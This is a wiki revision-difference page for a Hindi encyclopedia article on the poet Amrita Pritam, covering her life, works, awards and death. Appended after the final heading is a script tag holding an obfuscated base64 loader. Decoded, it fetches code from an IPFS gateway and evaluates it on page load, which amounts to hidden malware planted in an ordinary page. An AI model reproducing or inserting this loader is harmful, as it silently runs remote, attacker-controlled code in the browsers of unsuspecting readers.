Difference between revisions of "अमृता प्रीतम"
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
व्यवस्थापन (talk | contribs) m (Text replace - " जिन्दा" to " ज़िन्दा") |
||
Line 90: | Line 90: | ||
==निधन== | ==निधन== | ||
− | अमृता प्रीतम ने लम्बी बीमारी के बाद [[31 अक्टूबर]], [[2005]] को अपने प्राण त्यागे। वे 86 साल की थीं, और दक्षिणी [[दिल्ली]] के हौज ख़ास इलाके में रहती थीं। अब वे हमारे बीच नहीं हैं, लेकिन उनकी कवितायें, कहानिया, नज़्में और संस्मरण सदैव ही हमारे बीच रहेंगे। अमृता प्रीतम जैसे साहित्याकार रोज रोज पैदा नहीं होते, उनके जाने से एक [[युग]] का अन्त हुआ है। अब वे हमारे बीच नहीं है लेकिन उनका [[साहित्य]] हमेशा हम सब के बीच मे | + | अमृता प्रीतम ने लम्बी बीमारी के बाद [[31 अक्टूबर]], [[2005]] को अपने प्राण त्यागे। वे 86 साल की थीं, और दक्षिणी [[दिल्ली]] के हौज ख़ास इलाके में रहती थीं। अब वे हमारे बीच नहीं हैं, लेकिन उनकी कवितायें, कहानिया, नज़्में और संस्मरण सदैव ही हमारे बीच रहेंगे। अमृता प्रीतम जैसे साहित्याकार रोज रोज पैदा नहीं होते, उनके जाने से एक [[युग]] का अन्त हुआ है। अब वे हमारे बीच नहीं है लेकिन उनका [[साहित्य]] हमेशा हम सब के बीच मे ज़िन्दा रहेगा और हमारा मार्गदर्शन करता रहेगा।<ref name="mp"/> |
{{लेख प्रगति | {{लेख प्रगति |
Revision as of 13:17, 6 July 2012
amrita pritam
| |
poora nam | amrita pritam |
janm | 31 agast, 1919 |
janm bhoomi | gujaraanvala, panjab (pakistan) |
mrityu | 31 aktoobar, 2005 |
mrityu sthan | dilli |
karm-kshetr | sahity |
mukhy rachanaean | kagaz te kainavas (jnanapith puraskar), rasidi tikat, pianjar adi. |
bhasha | panjabi, hindi |
puraskar-upadhi | padm vibhooshan (2004), padmashri (1969), sahity akadami puraskar (1956), bharatiy jnanapith puraskar (1982) |
prasiddhi | kavayitri, upanyasakar, lekhika |
nagarikata | bharatiy |
adyatan | 18:26, 25 march 2011 (IST) |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
amrita pritam (janm: 31 agast, 1919 panjab (pakistan) – mrityu: 31 aktoobar, 2005 dilli) prasiddh kavayitri, upanyasakar aur nibandhakar thian jinhean 20vian sadi ki panjabi bhasha ki sarvashreshth kavayitri mana jata hai. inaki lokapriyata sima par pakistan mean bhi barabar hai. inhoanne panjabi jagat mean chh: dashakoan tak raj kiya. amrita pritam ne kul milakar lagabhag 100 pustakean likhi haian jinamean unaki charchit atmakatha 'rasidi tikat' bhi shamil hai. amrita pritam un sahityakaroan mean thian jinaki kritiyoan ka anek bhashaoan mean anuvad hua. apane aantim dinoan mean amrita pritam ko bharat ka doosara sabase b da samman padm vibhooshan bhi prapt hua. unhean sahity akadami puraskar se pahale hi alankrit kiya ja chuka tha.
janm aur bachapan
amrita pritam ka janm 1919 mean gujaraanvala (panjab- pakistan) me hua tha. bachapan lahaur mean bita aur shiksha bhi vanhi par huee. inhoanne shuruat ki panjabi lekhan se aur kishoravastha se hi kavita, kahani aur nibandh likhana shuroo kiya. amrita ji 11 sal ki thi tabhi inaki mataji ka intakal ho gaya, isaliye ghar ki zimmedari bhi inake kandho par a gayi. ye un virale sahityakaroan mean se hai jinaka pahala sankalan 16 sal ki umar mean prakashit hua. fir aya 1947 ka vibhajan ka daur, inhone vibhajan ka dard saha tha, aur ise bahut qarib se mahasoos kiya tha, inaki kee kahaniyoan mean ap is dard ko svayan mahasoos kar sakate haian. vibhajan ke samay inaka parivar dilli me a basa. ab inhoanne panjabi ke sath sath hindi mean bhi likhana shuroo kiya. inaka vivah 16 sal ki umr mean hi ek sanpadak se hua, ye rishta bachapan mean hi maan bap ne tay kar diya tha. yah vaivahik jivan bhi 1960 mean, talak ke sath toot gaya.[1]
kritiyaan
1960 mean apane pati se talak ke bad, inaki rachanaoan me mahila patroan ki pi da aur vaivahik jivan ke katu anubhavoan ka ahasas ko mahasoos kiya ja sakata hai. vibhajan ki pi da ko lekar inake upanyas pianjar par ek film bhi bani thi, jo achchhi khasi charcha me rahi. inhoanne lagabhag 100 pustakean likhian aur inaki kafi rachanaean videshi bhashaoan me bhi anuvadit huee.
kahani sangrah
- satrah kahaniyaan
- sat sau bis qadam
- 10 pratinidhi kahaniyaan
- choohe aur adami mean farq
- do khi dakiyaan
- ye kahaniyaan jo kahaniyaan nahian haian
upanyas
- kaili kamini aur anita
- yah kalam yah kagaz yah akshar
- na radha na rukmani
- jalate bujhate log
- jalavatan
- pianjar
atmakatha
- aksharoan ke saye
- rasidi tikat
sansmaran
- kachcha aangan
- ek thi sara
kavita sangrah
- amrit laharean (1936)
- jinda jiyaan (1939)
- trel dhote phool (1942)
- o gita valiyaan (1942)
- badalam di lali (1943)
- lok pigar (1944)
- pagathar git (1946)
- panjabi di avaz(1952)
- sunahare (1955)
- ashoka cheti (1957)
- kastoori (1957)
- nagamani (1964)
- ik si anita (1964)
- chak nabar chhtti (1964)
- unijha din (1979)[1]
samman aur puraskar
thumb|250px|amrita pritam amrita ji ko kee rashtriy aur aantarrashtriy puraskaroan se bhi navaja gaya, jinamean pramukh haian 1956 mean sahity akadami puraskar, 1958 mean panjab sarakar ke bhasha vibhag dvara puraskar, 1988 mean balgariya vairov puraskar; (antarrashtriy) aur 1982 mean bharat ke sarvochch sahittyik puraskar jnanapith puraskar. ve pahali mahila thi jinhe sahity akadami avard mila aur sath hi sath ve pahali panjabi mahila thi jinhean 1969 mean padmashri avard se navaja gaya.[1]
- sahity akadami puraskar (1956)
- padmashri (1969)
- d aauktar aauf litarechar (dilli yoonivarsiti- 1973)
- d aauktar aauf litarechar (jabalapur yoonivarsiti- 1973)
- balgariya vairov puraskar (bulgariya – 1988)
- bharatiy jnanapith puraskar (1982)
- d aauktar aauf litarechar (vishv bharati shaantiniketan- 1987)
- fraans sarakar dvara samman (1987)
- padm vibhooshan (2004)
nidhan
amrita pritam ne lambi bimari ke bad 31 aktoobar, 2005 ko apane pran tyage. ve 86 sal ki thian, aur dakshini dilli ke hauj khas ilake mean rahati thian. ab ve hamare bich nahian haian, lekin unaki kavitayean, kahaniya, nazmean aur sansmaran sadaiv hi hamare bich raheange. amrita pritam jaise sahityakar roj roj paida nahian hote, unake jane se ek yug ka ant hua hai. ab ve hamare bich nahian hai lekin unaka sahity hamesha ham sab ke bich me zinda rahega aur hamara margadarshan karata rahega.[1]
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
- amrita pritam
- amrita pritam ka ek prasang
- amrita pritam ek lijeand
- amrita pritam ki yad mean bahati amrita-dhara
- amrita pritam ki yad mean.....
- amrita pritam : shabdoan ki sangini
- amrita pritam ki kuchh kavitayean
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>